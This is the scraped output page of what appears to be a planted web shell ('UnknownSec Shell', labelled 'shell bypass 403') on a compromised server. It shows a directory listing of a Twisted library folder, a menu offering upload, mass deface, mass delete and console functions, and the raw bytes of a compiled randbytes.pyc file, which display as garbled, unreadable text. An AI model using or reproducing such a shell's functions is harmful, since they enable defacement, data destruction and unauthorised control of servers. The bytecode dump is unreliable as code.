shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
twisted
/
python
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
randbytes.cpython-312.pyc
� Ϫ�f� � �� � d Z ddlZddlZddlZ eedd� Zej Z G d� de � Z G d� de � Z G d� d � Z e � Z e j Ze j Z[ g d �Zy) zQ Cryptographically secure random implementation, with fallback on normal random. � N� getrandbitsc � � e Zd ZdZy)�SecureRandomNotAvailablezD Exception raised when no secure random algorithm is found. N��__name__� __module__� __qualname__�__doc__� � �:/usr/lib/python3/dist-packages/twisted/python/randbytes.pyr r � � �r r c � � e Zd ZdZy)�SourceNotAvailablezQ Internal exception used when a specific random source is not available. Nr r r r r r r r r c � � e Zd ZdZdZeZdedefd�Zd dede defd�Z dedefd�Z ej Z e d d � Zdedefd �Zdedefd �Zy )� RandomFactoryz� Factory providing L{secureRandom} and L{insecureRandom} methods. You shouldn't have to instantiate this class, use the module level functions instead: it is an implementation detail and could be removed or changed arbitrarily. r �nbytes�returnc �r � t j |� S # t t f$ r}t |� �d}~ww xY w)zO Wrapper around C{os.urandom} that cleanly manage its absence. N)�os�urandom�AttributeError�NotImplementedErrorr )�selfr �es r � _osUrandomzRandomFactory._osUrandom- s7 � � (��:�:�f�%� %�� � 3�4� (�$�Q�'� '�� (�s � �6� 1�6�fallbackc � � | j |� S # t $ r Y nw xY w|r-t j dt d�� | j |� S t d� �)ak Return a number of secure random bytes. @param nbytes: number of bytes to generate. @type nbytes: C{int} @param fallback: Whether the function should fallback on non-secure random or not. Default to C{False}. @type fallback: C{bool} @return: a string of random bytes. @rtype: C{str} zPurandom unavailable - proceeding with non-cryptographically secure random source� )�category� stacklevelz!No secure random source available)r r �warnings�warn�RuntimeWarning�insecureRandomr )r r r s r � secureRandomzRandomFactory.secureRandom6 sd � � ��?�?�6�*� *��!� � � �� � �M�M�M�'� � � �&�&�v�.� .�*�+N�O� O� � � � c � � | j �*| j |dz � }d|dz z |z }t |� S t d� �)z3 Wrapper around C{os.getrandbits}. � z%%0%dxr z#random.getrandbits is not available)r �_fromhexr )r r �n�hexBytess r � _randBitszRandomFactory._randBitsS sN � � � � � '�� � ��!��,�A� �F�Q�J�/�1�4�H��H�%� %� �!F�G�Gr r c � � dj t |� D �cg c]+ }t t j | j � g� ��- c}� S c c}w )z6 Wrapper around the C{random} module. r )�join�range�bytes�random�choice�_BYTES)r r �is r � _randModulezRandomFactory._randModule` s: � � �x�x�e�F�m�T���� � �d�k�k� :� ;�<�T�U�U��Ts �0Ac �f � | j |� S # t $ r Y nw xY w| j |� S )z� Return a number of non secure random bytes. @param nbytes: number of bytes to generate. @type nbytes: C{int} @return: a string of random bytes. @rtype: C{str} )r- r r6 )r r s r r% z RandomFactory.insecureRandomf s9 � � ��>�>�&�)� )��!� � � ��� � ��'�'r' N)F)r r r r � randomSourcesr �intr1 r �boolr& r- � maketrans� _maketransr4 r6 r% r r r r r s� � �� �M� �K�(�� (�� (�P�3� P�$� P�5� P�:H�� H�� H� � � �J� ��S� !�F�V�#� V�%� V� (�S� (�U� (r r )r& r% r )r r r2 r" �getattrr r1 �fromhexr* � RuntimeErrorr r r �factoryr& r% �__all__r r r �<module>rB s{ �� � � � ��f�m�T�2� � �=�=���|� � � � � U(� U(�p �/���#�#� ��'�'�� � I�r
© 2026 UnknownSec